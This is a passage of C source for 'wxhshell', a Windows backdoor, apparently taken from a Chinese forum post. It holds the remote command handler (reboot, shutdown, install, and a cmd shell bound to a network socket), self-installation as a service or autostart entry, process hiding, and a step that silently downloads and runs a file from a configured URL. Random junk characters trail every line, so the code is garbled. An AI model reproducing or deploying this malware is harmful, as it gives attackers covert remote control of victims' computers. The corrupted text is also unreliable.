      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {Q @?CT  
    break; }rF4M1+B\  
  } TV`sqKW  
  // 安装 G"".;}AV  
  case 'i': { j3u!lZ}U  
    if(Install()) t3=K>Y@w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NLUiNfCR  
    else Iz>\qC}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sn]D7Ae  
    break; QP>F *A  
    } 8~g~XUl  
  // 卸载 Rm~8n;7oOr  
  case 'r': { ?8;WP&  
    if(Uninstall()) ZvK.X*~s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N,:G5WxW  
    else ~yA^6[a=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {aUv>T"c  
    break; O9N+<sU=X  
    } C 'S_M@I=  
  // 显示 wxhshell 所在路径 TP)o0U  
  case 'p': { j,z)x[3}  
    char svExeFile[MAX_PATH]; OF:0jOW  
    strcpy(svExeFile,"\n\r"); Mhc5<~?  
      strcat(svExeFile,ExeFile); MM( ,D& Z  
        send(wsh,svExeFile,strlen(svExeFile),0); G&4D0f  
    break; 5xU}}[|~-  
    } I.`D BI#-f  
  // 重启 d@zxgn7o  
  case 'b': { Yu9VtC1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XinKG< 3!  
    if(Boot(REBOOT)) $4og{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^s$U n6v[  
    else { S"`{ JCW$  
    closesocket(wsh); jc@= b:r=  
    ExitThread(0); k L4#  
    } /+WC6&  
    break; %ofq  
    } f"^t~q[VS  
  // 关机 2X(2O':Uc  
  case 'd': { ^N`KT   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yN06` =  
    if(Boot(SHUTDOWN)) w7\vrS>&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e)3Mg^  
    else { GoPMWbI7  
    closesocket(wsh); 6="o&!  
    ExitThread(0); \x5>H:\Y  
    } -iFFXESVX  
    break; *z_`$Y  
    } o ,xy'  
  // 获取shell ZVit] 3hd  
  case 's': { ~{N#JOY}Z  
    CmdShell(wsh); h]IoH0/  
    closesocket(wsh); U.ZA%De  
    ExitThread(0); JV+Uy$P!  
    break; JIc9csr:b  
  } v "[<pFj^  
  // 退出 8: uh0  
  case 'x': { :_+U[k(#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K9 K.mGYc  
    CloseIt(wsh); XXQC`%-]<i  
    break; ISTAJ8" D  
    } u;b6uE  
  // 离开 $}EARW9  
  case 'q': { n"Jj'8k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VW^q|B yB  
    closesocket(wsh); ~4c,'k@  
    WSACleanup(); PTTUI  
    exit(1); n*G!=lMji  
    break; C[;7i!Dv  
        } F>E_d<m  
  } =c]We:I  
  } .mOm@<Xdg  
u!fZ>kS  
  // 提示信息 1k"i"kRM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vi[~Qt  
} B =DV!oUg  
  } .dvs&+I  
>z,Y%A  
  return; R1.Yx?  
} Eok8+7g0&  
#}8VUbJ  
// shell模块句柄 OSom-?|w  
int CmdShell(SOCKET sock) psS^  
{ $-E<{   
STARTUPINFO si; "'>fTk_  
ZeroMemory(&si,sizeof(si)); r8A'8g4cM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FtWO[*#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rAgpcp}  
PROCESS_INFORMATION ProcessInfo; d Z+7S`{  
char cmdline[]="cmd"; DnN+W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "k),;1  
  return 0; j}8^gz]  
} }Fu2%L>  
g7eI;Tpv  
// 自身启动模式 QEmktc1 7  
int StartFromService(void) E#kH>q@K`$  
{ 5F :\U  
typedef struct U)z1RHP|z  
{ dO-Zj#%7z8  
  DWORD ExitStatus; dtXtZ!g2  
  DWORD PebBaseAddress; s GrI%3[e"  
  DWORD AffinityMask; %H}M[_f  
  DWORD BasePriority; 9AD0|,g  
  ULONG UniqueProcessId; .0|_J|{  
  ULONG InheritedFromUniqueProcessId; C?\HB#41  
}   PROCESS_BASIC_INFORMATION; 9g$fFO  
zD s V"D8  
PROCNTQSIP NtQueryInformationProcess; &d"s cM5  
>q&e.-qL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kke _?/fT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U/7jK40  
u R!'v  
  HANDLE             hProcess; ux[13]yY  
  PROCESS_BASIC_INFORMATION pbi; s2nZW pIy  
eE{ 2{C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y2+YmP*z`  
  if(NULL == hInst ) return 0; va.Ve# N  
-3XnUGK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~Oi.bP<,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e JEcLK3u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rj<-sfs  
>waA\C}  
  if (!NtQueryInformationProcess) return 0; _G)x\K]N  
?1X7jn`,+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wx8;+!2Q/  
  if(!hProcess) return 0; BJsN~` =r  
Q|g>ga-a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^;Yjs.bI`F  
FwQGxGZ  
  CloseHandle(hProcess); X,K`]hb*0_  
\,`iu=YZv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 86o'3G9@  
if(hProcess==NULL) return 0;  mNX0BZ  
Rr\fw'  
HMODULE hMod; X)8Edw[?N3  
char procName[255]; i2\CDYP  
unsigned long cbNeeded; \9} -5  
&7c#i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < -Ax)zE  
@$wfE\_L  
  CloseHandle(hProcess); YJwffV}nd  
};cH5bYF  
if(strstr(procName,"services")) return 1; // 以服务启动 HA0yX?f]  
h:vI:V[/X  
  return 0; // 注册表启动 y!\q ', F  
} qmnW  
, w_C~XN$t  
// 主模块 g;y*F;0@  
int StartWxhshell(LPSTR lpCmdLine) 5WtI.7r  
{ &hzr(v~;  
  SOCKET wsl; 1_LGlu~&  
BOOL val=TRUE; C,{ Ekbg  
  int port=0; )/{~&L U  
  struct sockaddr_in door; az Oib=3fz  
f:9qId ;/M  
  if(wscfg.ws_autoins) Install(); L!2Ef4,wAz  
0#F<JsO|u  
port=atoi(lpCmdLine); "04:1J`  
Aac7k m  
if(port<=0) port=wscfg.ws_port; x2g=%K=  
J {\]ZPs  
  WSADATA data; *0 ;|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kwFo*1 {  
|%=c<z+8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m9aP]I3g]\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .r-kH&)"GU  
  door.sin_family = AF_INET; }cg 1CT5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zb~G&. 2g  
  door.sin_port = htons(port); Zg >!5{T  
g^:7mG6C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zor Q2>  
closesocket(wsl); !(N,tZ  
return 1; LeMo")dk\  
} jL~. =QD  
8;Df/ %  
  if(listen(wsl,2) == INVALID_SOCKET) { hx@E,  
closesocket(wsl); @ds.)sKA>  
return 1; X""}]@B9z  
} 6^nxw>-   
  Wxhshell(wsl); 4n.EA,:g:(  
  WSACleanup(); L4Si0 K  
|C\XU5}  
return 0; QWK\6  
}h\]0'S~J~  
} L$f:D2Ei  
rE.z.r"O  
// 以NT服务方式启动 2iWxx:e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z`@< O%  
{ Pv3 e*I((  
DWORD   status = 0; [2zS@p  
  DWORD   specificError = 0xfffffff; yrR,7v J  
+RD{<~i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /909ED+)>9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P Z+Rz1x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G~Fjla\?Q  
  serviceStatus.dwWin32ExitCode     = 0; @X#e  
  serviceStatus.dwServiceSpecificExitCode = 0; OlYCw.Zu  
  serviceStatus.dwCheckPoint       = 0; z%L\EP;o}  
  serviceStatus.dwWaitHint       = 0; X!0m,  
{hKf 'd9E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1$ {Cwb/F  
  if (hServiceStatusHandle==0) return; " G0HsXi  
 <:`x> _  
status = GetLastError(); 2aW"t.[j  
  if (status!=NO_ERROR) u_ym=N57`  
{ -r6LndQs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %|By ?i  
    serviceStatus.dwCheckPoint       = 0; WR4\dsgCU  
    serviceStatus.dwWaitHint       = 0; JA^Y:@<{/  
    serviceStatus.dwWin32ExitCode     = status; 4B@L<Rl{\  
    serviceStatus.dwServiceSpecificExitCode = specificError; },tn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Ma d~;  
    return; 3 e<sNU?  
  } Vu1X@@z  
wqf^n-Ze  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sVT\e*4m}  
  serviceStatus.dwCheckPoint       = 0; =h}IyY@o  
  serviceStatus.dwWaitHint       = 0; J"]P" `/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k&\ 6SK/  
} lnRbvulH  
MIWI0bnf  
// 处理NT服务事件,比如:启动、停止 cvQ MZ,p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dK?vg@|'  
{ 4krK CD>|G  
switch(fdwControl) YW)& IA2  
{ ZG)%vB2c  
case SERVICE_CONTROL_STOP: /s^O M`5  
  serviceStatus.dwWin32ExitCode = 0; fk:oCPo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q::6|B,G  
  serviceStatus.dwCheckPoint   = 0; }\)O1  
  serviceStatus.dwWaitHint     = 0; twJ)h :!_y  
  { ?hwT{h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '-m )fWf  
  } GOhGSV#  
  return; F;_L/8Ov1  
case SERVICE_CONTROL_PAUSE: ?W4IAbT\G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [#6Eax,j  
  break; ^H UNq[sQ  
case SERVICE_CONTROL_CONTINUE: E;^~}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w>$2  
  break; xQ7-4 N,  
case SERVICE_CONTROL_INTERROGATE: sDvtk]4o-4  
  break; 4V0j1 k&'  
}; ~T<o?98  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {(!j6|jK  
} F;^GhiQVS  
$^4URH  
// 标准应用程序主函数 C@L8,Kj ~.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SB' $?Kh  
{ }J&[Uc  
N!&$fhY)  
// 获取操作系统版本 []rg'9B2b  
OsIsNt=GetOsVer(); 6P KH%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4RV5:&ALLS  
o Z#4<7K  
  // 从命令行安装 tMWsgK.B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8P'zQ:#RV  
}2eP~3  
  // 下载执行文件 Ou<Vg\Mu  
if(wscfg.ws_downexe) { 2qD80W<1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a,sU-w!X'  
  WinExec(wscfg.ws_filenam,SW_HIDE); h&}XG\ioNA  
} Dpa PRA)x  
REvY`   
if(!OsIsNt) { qm1;^j&y  
// 如果时win9x,隐藏进程并且设置为注册表启动 lIj2w;$v  
HideProc(); Rv T>{G~  
StartWxhshell(lpCmdLine); C!8XFf8e  
} 5ZkMd !$y  
else "e\:Cq>\  
  if(StartFromService()) ,#P eK(  
  // 以服务方式启动 Z ^tF  
  StartServiceCtrlDispatcher(DispatchTable); } 1 >i  
else YI*Av+Z)  
  // 普通方式启动 h)qapC5z,  
  StartWxhshell(lpCmdLine); sKT GZA  
)0I;+9:D=  
return 0; '8 ~E  
}
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只看该作者 1 发表于: 2006-10-10
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